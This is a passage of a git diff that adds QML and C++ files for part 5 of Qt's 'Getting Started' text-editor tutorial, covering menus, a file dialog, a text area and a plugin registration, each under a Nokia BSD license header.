+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: editMenu
+ height: 480; width:1000
+ color: "powderblue"
+ property color buttonBorderColor: "#7A8182"
+ property color buttonFillColor: "#61BDCACD"
+ property string menuName:"Edit"
+
+ gradient: Gradient{
+ GradientStop { position: 0.0; color: "#6A7570" }
+ GradientStop { position: 1.0; color: Qt.darker("#6A7570") }
+ }
+
+ Rectangle{
+ id:actionContainer
+ color:"transparent"
+ anchors.centerIn: parent
+ width: parent.width; height: parent.height / 5
+ Row{
+ anchors.centerIn: parent
+ spacing: parent.width/9
+ Button{
+ id: loadButton
+ buttonColor: buttonFillColor
+ label: "Copy"
+ labelSize:16
+ borderColor:buttonBorderColor
+ height: actionContainer.height
+ width: actionContainer.width/6
+ onButtonClick:textArea.copy()
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+
+ Button{
+ id: saveButton
+ height: actionContainer.height
+ width: actionContainer.width/6
+ buttonColor: buttonFillColor
+ label: "Paste"
+ borderColor:buttonBorderColor
+ labelSize:16
+ onButtonClick:textArea.paste()
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+ Button{
+ id: exitButton
+ label: "Select All"
+ height: actionContainer.height
+ width: actionContainer.width/6
+ labelSize:16
+ buttonColor: buttonFillColor
+ borderColor:buttonBorderColor
+ onButtonClick:textArea.selectAll()
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+ }
+ }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/core/FileDialog.qml b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/FileDialog.qml
new file mode 100644
index 00000000..3dbfee57
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/FileDialog.qml
@@ -0,0 +1,170 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id:dialog
+ height: 200 * partition; width: 200
+ color: "transparent"
+
+ signal selectChanged()
+ signal notifyRefresh()
+ onNotifyRefresh:dirView.model = directory.files
+
+ property string selectedFile
+ property int selectedIndex: 0
+
+ Rectangle{
+ id: dirBox
+ radius: 10
+ anchors.centerIn:parent
+ height: parent.height -15; width: parent.width -30
+
+ Rectangle{
+ id:header
+ height:parent.height*0.1
+ width: parent.width
+ radius:3
+ z:1
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#8C8F8C" }
+ GradientStop { position: 0.17; color: "#6A6D6A" }
+ GradientStop { position: 0.98;color: "#3F3F3F" }
+ GradientStop { position: 1.0; color: "#0e1B20" }
+ }
+ Text{
+ height: header.height
+ anchors.centerIn: header
+ text: "files:"
+ color: "lightblue"
+ font.weight: Font.Light
+ font.italic: true
+ }
+ }
+ GridView{
+ id:dirView
+ width:parent.width
+ height:parent.height*.9
+ anchors.top: header.bottom
+ cellWidth: 100
+ cellHeight: 75
+// highlight: Rectangle { width:cellWidth; height: cellHeight; color: "lightsteelblue" ;radius: 13}
+ model: directory.files
+ delegate: dirDelegate
+ clip: true
+ highlightMoveDuration:40
+ }
+
+ Component{
+ id:dirDelegate
+
+ Rectangle{
+ id:file
+ color: "transparent"
+ width: GridView.view.cellWidth; height: GridView.view.cellHeight
+
+ Text{
+ id:fileName
+ width: parent.width
+ anchors.centerIn:parent
+ text: name
+ color: "#BDCACD"
+ font.weight: GridView.view.currentIndex == index ? Font.DemiBold : Font.Normal
+ font.pointSize: GridView.view.currentIndex == index ? 12 : 10
+ elide: Text.ElideMiddle
+ horizontalAlignment: Text.AlignHCenter
+ }
+ Rectangle{
+ id:selection
+ width:parent.width; height:parent.height
+ anchors.centerIn: parent
+ radius: 10
+ smooth: true
+ scale: GridView.view.currentIndex == index ? 1 : 0.5
+ opacity: GridView.view.currentIndex == index ? 1 : 0
+ Text{
+ id:overlay
+ width: parent.width
+ anchors.centerIn:parent
+ text: name
+ color: "#696167"
+ font.weight: Font.DemiBold
+ font.pointSize: 12
+ smooth:true
+ elide: Text.ElideMiddle
+ horizontalAlignment: Text.AlignHCenter
+ }
+ Behavior on opacity{ NumberAnimation{ duration: 45} }
+ Behavior on scale { NumberAnimation{ duration: 45} }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter("lightsteelblue",1.25) }
+ GradientStop { position: 0.67; color: Qt.darker("lightsteelblue",1.3) }
+ }
+ border.color:"lightsteelblue"
+ border.width:1
+ }
+ MouseArea{
+ id:fileMouseArea
+ anchors.fill:parent
+ hoverEnabled: true
+
+ onClicked:{
+ GridView.view.currentIndex = index
+ selectedFile = directory.files[index].name
+ selectChanged()
+ }
+ onEntered:{
+ fileName.color = "lightsteelblue"
+ fileName.font.weight = Font.DemiBold
+ }
+ onExited: {
+ fileName.font.weight = Font.Normal
+ fileName.color = "#BDCACD"
+ }
+ }
+ }
+ }
+ gradient: Gradient{
+ GradientStop { position: 0.0; color: "#A5333333" }
+ GradientStop { position: 1.0; color: "#03333333" }
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/core/FileMenu.qml b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/FileMenu.qml
new file mode 100644
index 00000000..fabf7616
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/FileMenu.qml
@@ -0,0 +1,232 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: fileMenu
+ height: 480; width:1000
+ property color buttonBorderColor: "#7F8487"
+ property color buttonFillColor: "#8FBDCACD"
+ property string fileContent:directory.fileContent
+
+ //the menuName is accessible from outside this QML file
+ property string menuName: "File"
+
+ //used to divide the screen into parts.
+ property real partition: 1/3
+
+ color: "#6C646A"
+ gradient: Gradient{
+ GradientStop { position: 0.0; color: "#6C646A" }
+ GradientStop { position: 1.0; color: Qt.darker("#6A6D6A") }
+ }
+
+ Directory{
+ id:directory
+ filename: textInput.text
+ onDirectoryChanged:fileDialog.notifyRefresh()
+ }
+
+ Rectangle{
+ id:actionContainer
+
+ //make this rectangle invisible
+ color:"transparent"
+ anchors.left: parent.left
+
+ //the height is a good proportion that creates more space at the top of the column of buttons
+ width: fileMenu.width * partition; height: fileMenu.height
+
+ Column{
+ anchors.centerIn: parent
+ spacing: parent.height/32
+ Button{
+ id: saveButton
+ label: "Save"
+ borderColor: buttonBorderColor
+ buttonColor: buttonFillColor
+ width: actionContainer.width/ 1.3
+ height:actionContainer.height / 8
+ labelSize:24
+ onButtonClick:{
+ directory.fileContent = textArea.textContent
+ directory.filename = textInput.text
+ directory.saveFile()
+ }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+
+ }
+ Button{
+ id: loadButton
+ width: actionContainer.width/ 1.3
+ height:actionContainer.height/ 8
+ buttonColor: buttonFillColor
+ borderColor: buttonBorderColor
+ label: "Load"
+ labelSize:24
+ onButtonClick:{
+ directory.filename = textInput.text
+ directory.loadFile()
+ textArea.textContent = directory.fileContent
+ }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+ Button{
+ id: newButton
+ width: actionContainer.width/ 1.3
+ height:actionContainer.height/ 8
+ buttonColor: buttonFillColor
+ borderColor: buttonBorderColor
+ label: "New"
+ labelSize:24
+ onButtonClick:{
+ textArea.textContent = ""
+ textInput.text = ""
+ }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+
+ }
+ Rectangle{
+ id: space
+ width: actionContainer.width/ 1.3
+ height:actionContainer.height / 16
+ color:"transparent"
+ }
+ Button{
+ id: exitButton
+ width: actionContainer.width/ 1.3
+ height:actionContainer.height/ 8
+ label: "Exit"
+ labelSize:24
+ buttonColor: buttonFillColor
+ borderColor: buttonBorderColor
+ onButtonClick:Qt.quit()
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+ }
+ }
+
+ Rectangle{
+ id:dialogContainer
+
+ width: 2*fileMenu.width * partition; height: fileMenu.height
+ anchors.right:parent.right
+ color:"transparent"
+
+ Column {
+ anchors.centerIn: parent
+ spacing: parent.height /640
+ FileDialog{
+ id:fileDialog
+ height: 2*dialogContainer.height * partition; width: dialogContainer.width
+ onSelectChanged: textInput.text = selectedFile
+ }
+
+ Rectangle{
+ id:lowerPartition
+ height: dialogContainer.height * partition; width: dialogContainer.width
+ color: "transparent"
+
+ Rectangle{
+ id: nameField
+ gradient: Gradient{
+ GradientStop { position: 0.0; color: "#806F6F6F" }
+ GradientStop { position: 1.0; color: "#136F6F6F" }
+ }
+
+ radius: 10
+ anchors {centerIn:parent; leftMargin: 15; rightMargin: 15; topMargin: 15}
+ height: parent.height-15; width: parent.width -20
+ border {color:"#4A4A4A"; width:1}
+
+ TextInput{
+ id: textInput
+ z:2
+ anchors {bottom: parent.bottom; topMargin: 10; horizontalCenter:parent.horizontalCenter}
+ width: parent.width - 10
+ height: parent.height -10
+ font.pointSize: 40
+ color:"lightsteelblue"
+ focus:true
+ }
+ Text{
+ id: textInstruction
+ anchors.centerIn:parent
+ text: "Select file name and press save or load"
+ font {pointSize: 11; weight:Font.Light; italic: true}
+ color: "lightblue"
+ z:2
+ opacity: (textInput.text == "") ? 1: 0
+ }
+ Text{
+ id:fieldLabel
+ anchors {top: parent.top; left: parent.left}
+ text: " file name: "
+ font {pointSize: 11; weight: Font.Light; italic: true}
+ color: "lightblue"
+ z:2
+ }
+ MouseArea{
+ anchors.centerIn:parent
+ width: nameField.width; height: nameField.height
+ onClicked:{
+ textInput.text = ""
+ textInput.focus = true
+ textInput.forceFocus()
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/core/MenuBar.qml b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/MenuBar.qml
new file mode 100644
index 00000000..acfb6b3b
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/MenuBar.qml
@@ -0,0 +1,148 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: menuBar
+ width: 1000; height:300
+ color:"transparent"
+ property color fileColor: "plum"
+ property color editColor: "powderblue"
+
+ property real partition: 1/10
+
+ Column{
+ anchors.fill: parent
+ //container for the header and the buttons
+ z: 1
+ Rectangle{
+ id: labelList
+ height:menuBar.height*partition
+ width: menuBar.width
+ color: "beige"
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#8C8F8C" }
+ GradientStop { position: 0.17; color: "#6A6D6A" }
+ GradientStop { position: 0.98;color: "#3F3F3F" }
+ GradientStop { position: 1.0; color: "#0e1B20" }
+ }
+ Text{
+ height: parent.height
+ anchors {right: labelRow.left ; verticalCenter: parent.bottom}
+ text: "menu: "
+ color: "lightblue"
+ font {weight: Font.Light; italic: true}
+ smooth: true
+ }
+
+ //row displays its children in a vertical row
+ Row{
+ id: labelRow
+ anchors.centerIn: parent
+ spacing:40
+ Button{
+ id: fileButton
+ height: 20; width: 50
+ label: "File"
+ buttonColor : menuListView.currentIndex == 0? fileColor : Qt.darker(fileColor, 1.5)
+ scale: menuListView.currentIndex == 0? 1.25: 1
+ labelSize: menuListView.currentIndex == 0? 16:12
+ radius: 1
+ smooth:true
+ //on a button click, change the list's currently selected item to FileMenu
+ onButtonClick: menuListView.currentIndex = 0
+ gradient: Gradient{
+ GradientStop { position: 0.0; color: fileColor }
+ GradientStop { position: 1.0; color: "#136F6F6F" }
+ }
+ }
+ Button{
+ id: editButton
+ height: 20; width: 50
+ buttonColor : menuListView.currentIndex == 1? Qt.darker(editColor, 1.5) : Qt.darker(editColor, 1.9)
+ scale: menuListView.currentIndex == 1? 1.25: 1
+ label: "Edit"
+ radius: 1
+ labelSize: menuListView.currentIndex == 1? 16:12
+ smooth:true
+ //on a button click, change the list's currently selected item to EditMenu
+ onButtonClick: menuListView.currentIndex = 1
+ gradient: Gradient{
+ GradientStop { position: 0.0; color: editColor }
+ GradientStop { position: 1.0; color: "#136F6F6F" }
+ }
+ }
+ }
+ }
+
+ //list view will display a model according to a delegate
+ ListView{
+ id: menuListView
+ width:menuBar.width; height: 9*menuBar.height*partition
+
+ //the model contains the data
+ model: menuListModel
+
+ //control the movement of the menu switching
+ snapMode: ListView.SnapOneItem
+ orientation: ListView.Horizontal
+ boundsBehavior: Flickable.StopAtBounds
+ flickDeceleration: 5000
+ highlightFollowsCurrentItem: true
+ highlightMoveDuration:240
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+ }
+ //a list of visual items already have delegates handling their display
+ VisualItemModel{
+ id: menuListModel
+
+ FileMenu{
+ id:fileMenu
+ width: menuListView.width; height: menuListView.height
+ color: fileColor
+ }
+ EditMenu{
+ color: editColor
+ width: menuListView.width; height: menuListView.height
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/core/TextArea.qml b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/TextArea.qml
new file mode 100644
index 00000000..61a0c5dc
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/TextArea.qml
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id:textArea
+
+ function paste(){ textEdit.paste()}
+ function copy() { textEdit.copy() }
+ function selectAll() { textEdit.selectAll() }
+
+ width :400; height:400
+
+ property color fontColor: "white"
+ property alias textContent: textEdit.text
+ Flickable{
+ id: flickArea
+ width: parent.width; height: parent.height
+ anchors.fill:parent
+
+ boundsBehavior: Flickable.StopAtBounds
+ flickableDirection: Flickable.HorizontalFlick
+ interactive: true
+ //Will move the text Edit area to make the area visible when scrolled with keyboard strokes
+ function ensureVisible(r){
+ if (contentX >= r.x)
+ contentX = r.x;
+ else if (contentX+width <= r.x+r.width)
+ contentX = r.x+r.width-width;
+ if (contentY >= r.y)
+ contentY = r.y;
+ else if (contentY+height <= r.y+r.height)
+ contentY = r.y+r.height-height;
+ }
+
+ TextEdit{
+ id: textEdit
+ anchors.fill:parent
+ width:parent.width; height:parent.height
+ color:fontColor
+ focus: true
+ wrapMode: TextEdit.Wrap
+ font.pointSize:10
+ onCursorRectangleChanged: flickArea.ensureVisible(cursorRectangle)
+ selectByMouse: true
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/core/qmldir b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/qmldir
new file mode 100644
index 00000000..3f22778a
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/qmldir
@@ -0,0 +1,13 @@
+
+Button ./Button.qml
+FileDialog ./FileDialog.qml
+TextArea ./TextArea.qml
+TextEditor ./TextEditor.qml
+EditMenu ./EditMenu.qml
+MenuBar ./MenuBar.qml
+
+plugin FileDialog ../plugins
+
+
+
+
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/dialogPlugin.cpp b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/dialogPlugin.cpp
new file mode 100644
index 00000000..6d438f08
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/dialogPlugin.cpp
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "dialogPlugin.h"
+#include "directory.h"
+#include "file.h"
+#include <QtDeclarative/qdeclarative.h>
+
+void DialogPlugin::registerTypes(const char *uri){
+
+ //register the class Directory into QML as a "Directory" element version 1.0
+ qmlRegisterType<Directory>(uri, 1, 0, "Directory");
+ qmlRegisterType<File>(uri,1,0,"File");
+
+ //qRegisterMetaType<QDeclarativeListProperty<QString> > ("QDeclarativeListProperty<QString>");
+
+}
+
+//FileDialog is the plugin name (same as the TARGET in the project file) and DialogPlugin is the plugin classs
+Q_EXPORT_PLUGIN2(FileDialog, DialogPlugin);
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/dialogPlugin.h b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/dialogPlugin.h
new file mode 100644
index 00000000..da47e2a0
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/dialogPlugin.h
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
